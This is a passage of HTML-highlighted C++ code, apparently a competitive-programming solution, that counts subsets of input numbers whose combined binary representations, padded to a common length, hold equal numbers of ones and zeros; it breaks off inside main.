</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 58
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 59
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 60
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 61
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 62
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 63
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 64
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 65
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 66
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 67
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 68
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 69
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 70
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 71
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 72
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 73
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 74
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 75
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 76
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 77
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 78
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 79
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 80
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 81
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 82
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 83
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 84
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 85
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 86
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 87
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 88
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 89
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 90
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 91
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 92
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 93
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 94
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 95
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 96
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 97
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 98
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 99
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">100
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">101
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">102
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">103
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">104
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">105
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">106
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">107
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">108
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">109
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">110
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">111
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">112
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">113
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">114
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">115
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">116
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">117
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">118
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">119
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">120
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">121
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">122
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">123
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">124
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">125
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">126
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">127
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">128
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">129
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">130
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">131
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">132
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">133
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">134
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">135
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">136
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">137
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">138
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">139
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">140
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">141
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">142
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">143
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">144
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">145
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">146
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">147
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">148
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">149
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">150
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">151
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">152
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">153
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">154
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">155
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">156
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;bits.stdc++.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>using namespace std; 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define l long long 
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> total <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">typedef</span> <span style="color:#66d9ef">struct</span> in_item {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">int</span> one,zero ,len;
</span></span><span style="display:flex;"><span>}item;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">convertbinary</span>(<span style="color:#66d9ef">int</span> n , <span style="color:#66d9ef">int</span> lent) 
</span></span><span style="display:flex;"><span>{ 
</span></span><span style="display:flex;"><span>   
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> b[<span style="color:#ae81ff">32</span>] <span style="color:#f92672">=</span>{<span style="color:#ae81ff">0</span>}; 
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; 
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> (n <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>) { 
</span></span><span style="display:flex;"><span>   b[i] <span style="color:#f92672">=</span> n <span style="color:#f92672">%</span> <span style="color:#ae81ff">2</span>; 
</span></span><span style="display:flex;"><span>    n <span style="color:#f92672">=</span> n <span style="color:#f92672">/</span> <span style="color:#ae81ff">2</span>; 
</span></span><span style="display:flex;"><span>    i<span style="color:#f92672">++</span>; 
</span></span><span style="display:flex;"><span>} 
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> j <span style="color:#f92672">=</span> lent<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>; j <span style="color:#f92672">&gt;=</span> <span style="color:#ae81ff">0</span>; j<span style="color:#f92672">--</span>) 
</span></span><span style="display:flex;"><span>    cout <span style="color:#f92672">&lt;&lt;</span> b[j]; 
</span></span><span style="display:flex;"><span>} 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>item <span style="color:#a6e22e">build</span>(<span style="color:#66d9ef">int</span> one ,<span style="color:#66d9ef">int</span> zero , <span style="color:#66d9ef">int</span> len)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	item x <span style="color:#f92672">=</span> {one, zero , len};
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> x;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>item <span style="color:#a6e22e">calculate_binary</span>(<span style="color:#66d9ef">int</span> mx , <span style="color:#66d9ef">int</span> lent)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">int</span> con1<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> ,con0<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> , con_len<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">while</span>(mx<span style="color:#f92672">&gt;</span><span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span>(mx<span style="color:#f92672">&amp;</span><span style="color:#ae81ff">1</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			con1<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			con0<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		mx <span style="color:#f92672">/=</span><span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>		con_len<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	con0 <span style="color:#f92672">+=</span> lent <span style="color:#f92672">-</span> con_len; 
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">build</span>(con1,con0 ,con_len);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>item <span style="color:#a6e22e">calculate_len</span>(<span style="color:#66d9ef">int</span> mx)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">int</span> con1<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> ,con0<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> , con_len<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">while</span>(mx<span style="color:#f92672">&gt;</span><span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span>(mx<span style="color:#f92672">&amp;</span><span style="color:#ae81ff">1</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			con1<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			con0<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>		mx <span style="color:#f92672">/=</span><span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>		con_len<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">build</span>(con1,con0 ,con_len);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">subset_find</span>(<span style="color:#66d9ef">int</span> arr[],<span style="color:#66d9ef">int</span> n , item <span style="color:#f92672">*</span>store)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	total <span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">int</span>  count1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">pow</span>(<span style="color:#ae81ff">2</span>,n);
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> count1; i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">int</span> tone<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> , tzero<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> ;
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> j <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; j <span style="color:#f92672">&lt;</span> n; j<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>		{
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span> ((i <span style="color:#f92672">&amp;</span> (<span style="color:#ae81ff">1</span> <span style="color:#f92672">&lt;&lt;</span> j)) <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>			{
</span></span><span style="display:flex;"><span>			
</span></span><span style="display:flex;"><span>				<span style="color:#66d9ef">int</span> x <span style="color:#f92672">=</span> arr[j];
</span></span><span style="display:flex;"><span>				tone <span style="color:#f92672">+=</span> store[x].one;
</span></span><span style="display:flex;"><span>				tzero <span style="color:#f92672">+=</span> store[x].zero;
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">if</span>(tzero <span style="color:#f92672">==</span> tone <span style="color:#f92672">&amp;&amp;</span> tone<span style="color:#f92672">&gt;</span><span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>			{
</span></span><span style="display:flex;"><span>				total<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span>			}
</span></span><span style="display:flex;"><span>			
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">int</span> n;
</span></span><span style="display:flex;"><span>	cin<span style="color:#f92672">&gt;&gt;</span>n;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">int</span> a[n];
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">int</span> mx <span style="color:#f92672">=</span> INT_MIN;
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">int</span> i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span>n;i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		cin<span style="color:#f92672">&gt;&gt;</span>a[i];
</span></span><span style="display:flex;"><span>		mx <span style="color:#f92672">=</span> <span style="color:#a6e22e">max</span>(a[i],mx);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//find binary
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	item mx_len <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_len</span>(mx);
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//cout&lt;&lt;mx_len.one&lt;&lt;&#34; &#34;&lt;&lt;mx_len.zero&lt;&lt;&#34; &#34;&lt;&lt;mx_len.len&lt;&lt;endl;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">int</span> lent <span style="color:#f92672">=</span> mx_len.len;
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	item store[n]; 
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">int</span> elem[n];
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">int</span> i<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span>n;i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>	{elem[i] <span style="color:#f92672">=</span> i;
</span></span><span style="display:flex;"><span>		store[i] <span style="color:#f92672">=</span> <span style="color:#a6e22e">calculate_binary</span>(a[i] , lent);
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">//for(int i=0;i&lt;n;i++)
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>	<span style="color:#75715e">//{
